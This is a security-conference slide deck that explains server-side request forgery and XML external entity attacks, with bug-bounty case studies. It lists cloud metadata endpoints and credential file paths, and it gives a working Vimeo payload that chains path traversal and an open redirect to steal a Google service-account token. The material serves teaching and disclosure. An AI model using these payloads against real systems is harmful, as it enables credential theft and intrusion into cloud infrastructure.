Demystifying the Server Side
Complex terminologies simplified
@iamnoooob
@rootxharsh
@h4ckologic
Meet the team
Application Security Engineer
Security Engineer
Software Security Researcher
Harsh Jaiswal
Rahul Maini
Rajanish Pathak
Let’s look at the definition of URL according to the RFC 3986.
Scheme:
HTTP
File
Example HTTP URLs:
http://
http://
http://
http://
Example FILE URLs:
file:///etc/passwd
file:///home/user/.ssh/id_rsa
file:///c:/WINDOWS/win.ini
URL - Uniform Resource Locator
SSRF, Making the cloud rain
AGENDA
Introduction to SSRF
SSRF identification & Impact
SSRF attack Scenarios
SSRF case studies
SSRF – WHAT IS IT?
Server-side request forgery is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.
In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.
A Simple SSRF vulnerable snippet.
A Vulnerable Ruby snippet – Here the application accepts the user input through the url parameter and the open() call fetches the Url specified and returns the response body to the client.
A Vulnerable PHP snippet – The user trusted input ie: URL is passed via GET method, and the server fetches the content and displays it.
Can you spot other issue here?
A Simple SSRF
The attacker forces the application to make an HTTP request back to the server that is hosting the application.
Supplying a URL with a host like 127.0.0.1 or localhost.
The server will fetch the contents of the /sensitivefilepath and return it to the user.
URL comes from the local machine itself & the normal access controls are bypassed
Fetching the contents on localhost
Types of SSRF
Full response SSRF: an attacker is able to fetch the full response of an internal/external resource(File, HTTP Response etc.) with an HTTP request made on behalf of the server
Blind SSRF: In case of blind SSRF, request is made but no response is returned to the attacker. To discover which networks are routed internally or identify internal services, try looking at the time difference in responses.
SSRF and Cloud Metadata – Make Credentials Rain
AWS
http://169.254.169.254/metadata/v1/*
Google Cloud
http://metadata.google.internal/computeMetadata/v1/*
DigitalOcean
http://169.254.169.254/metadata/v1/*
Docker
http://127.0.0.1:2375/v1.24/containers/json
Kubernetes ETCD
http://127.0.0.1:2379/v2/keys/?recursive=true
Alibaba Cloud
http://100.100.100.200/latest/meta-data/*
Microsoft Azure
http://169.254.169.254/metadata/v1/*
If an attacker is able to determine the underlying cloud infrastructure he will easily be able to grab the AccessKeyId, SecretAccessKeys, private address, hostname, public keys, subnet ids, and more from the API.
Pulling the IAM role secret keys will give him API access to that AWS account and control over the infrastructure.
SSRF
CASE STUDIES
AND LABS
Case Study
SSRF
Vimeo API Playground
Vimeo provides their developers an easy to test and play around their Rest API. For such purposes, Vimeo provides an API console at https://developers.vimeo.com/.
The purpose of this console is to make it simpler to test API endpoints as such all you’d need to do it
Select an API Endpoint
Add required path/query/post parameters
Click Submit.
Behind the scenes
Example request
Select an endpoint /users/{user_id} to fetch 12345 user’s information.
- method set to GET- uri parameter set to /users/{user_id}- segments set to {“user_id”:”12345”}So backend will supposedly make a request to https://api.vimeo.com/users/12345 and will parse the JSON response and echo it back to the client/developer.
Abusing the feature
So it seems like we have control over the API endpoint to make request to via the parameter `uri`. However changing it to anything other than specified path resulted in a 403.
Abusing the feature… Hmmm what now?
However we do have another input in API endpoint path via the segments parameter in the Rest API. Segments value act as placeholder to be used in the `uri` parameter
What if we use {“uri”:”/users/{user_id}”,“segments”:{“user_id”:”../”}} ;)
This should make a request to https://api.vimeo.com/users/../ and if there’s no URL encoding on segments input, This path on normalization by HTTP library will make request to https://api.vimeo.com/
And.. Response from the root of the API.
But but we’re still on api.vimeo.com host
Make open redirects great again!
The plan is to find an open redirect and as I already figured this was following redirects, we could simply redirect to an internal host like cloud (Google) metadata API.
Good old content discovery
A bit of content discovery and I come across a limited redirect on https://api.vimeo.com/ which could make redirect to https://vimeo.com/ with my controlled path & query parameters. And 2 years on hacking, I already had saved plenty of open redirects at vimeo.com ;). https://api.vimeo.com/m/anything?foo=bar => https://vimeo.com/anything?foo=bar
Hitting others hosts
{..,"method":"method":"GET","uri":"/users/{user_id}","segments":"{\"user_id\":\"../../m/path/to/open/redirect?url=https://rce.ee/attacker.json\"}",...}
Final Payload to steal service account token from Google Metadata API
{"method":"GET","uri":"/users/{user_id}","segments":"{\"user_id\":\"../../m/path/to/open/redirect?url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json\"}"}Response:
{"headers": [ "HTTP/1.1 200", "Content-Type: application/json", "Host: api.vimeo.com" ], "code": 200, "body”: { "access_token": "ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA", "expires_in": 2631, "token_type": "Bearer" } }
STOP REPORTING OPEN REDIRECTS FOR $100!!
Case study SSRF Bypass
Integration feature observations
Application allowed to integrate WooCommerce store via its URL
Request was sent from server side with prefixed path
Only HTTPS hosts allowed
Request’s response was reflected back regardless of integration success
Potential fully responsive SSRF
Can’t hit AWS/GCP Metadata, works on plain HTTP.
If we could find an internal host working on HTTPS
Internally resolving hostnames were not allowed as well. Possible blacklist?
Find HTTPS hosts those don’t point to internal IP’s but are accessible for employees only. Sounds familiar? VPN only access hosts?
Let the recon begin
Subdomain enumeration
Found corp.company.com, *corp* Interesting, brute it.
Multiple hosts resolving to either internal IP’s or external IP’s but none were reachable.
This is exactly what we’re looking for!
Spots jenkins.corp.company.com pointing to external IP but not reachable.
Why target Jenkins of all the hosts.
Cause jenkins continuously works with prod server so probably in same VPC.
Makes sense to use SSL here.
Generally critical part of Infra - reaching itwould show good impact.
Key takeaways
Blacklists can always be bypassed
VPN only hosts should be in your mind when testing for SSRF
Network segregation is your best bet
Exploring the File System - XXE
AGENDA
XML & XXE Basics
Ways To Exploit XXE:
InBand/Response Based XXE
Out-of-Band XXE
Problems With The Existing Techniques
Using Local DTDs To Read Filesystem
XML – EXTENSIBLE MARKUP LANGUAGE
Self-descriptive well structured document
Stores and transport information and is used as a dataset
Schema of the elements is defined inside “DOCTYPE” element
XML parsers are used to fetch values out of the elements
EXAMPLE XML
XML Declaration - defines charset, language etc.
Document Type Definition (DTD) – defines
Schema (Elements, Attributes, Data Types etc.)
of the XML Document
Actual XML Body
EXAMPLE XML (WITH EXTERNAL DTD)
XML Declaration - defines charset, language etc.
Externally hosted
Document Type Definition(DTD)
Actual XML Body
XML ENTITIES
Simply put Entities act like variables (way of representing data)
Can denote special markup, such as the <(<) and >(>) tags
Reducing the code in DTD by bundling declarations into entities
Entities have “SYSTEM” keyword as well(External Entities)
Types of XML Entities:
BUILT-IN
GENERAL
PARAMETER
TYPES OF ENTITIES
General Entities
Syntax:
]>
Can be summoned by &entity_name; only inside XML Body
Parameter Entities
Syntax:
]>
Can be summoned by %entity_name; even inside the DOCTYPE definition as well as inside other entities (Nested Entities)
General Entities Parameter Entities
TYPES OF ENTITIES
XXE - XML EXternal Entity
Cheatsheet for XXE: https://securityidiots.com/Web-Pentest/XXE/XXE-Cheat-Sheet-by-SecurityIdiots.html
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's XML parser.
XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and XML parsers support these features even if they are not normally used by the application.
An attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks or an arbitrary file read.
TYPICAL XML REQUEST
TESTING FOR XXE
Initially try replacing text node with general entities in the XML body and check if response is still the same which confirms entitiesare substituted.
Construct an XML request with a SYSTEM/PUBLIC entity keyword pointing to Burp Collaborator URL & check for the hits
If the request body is accepting J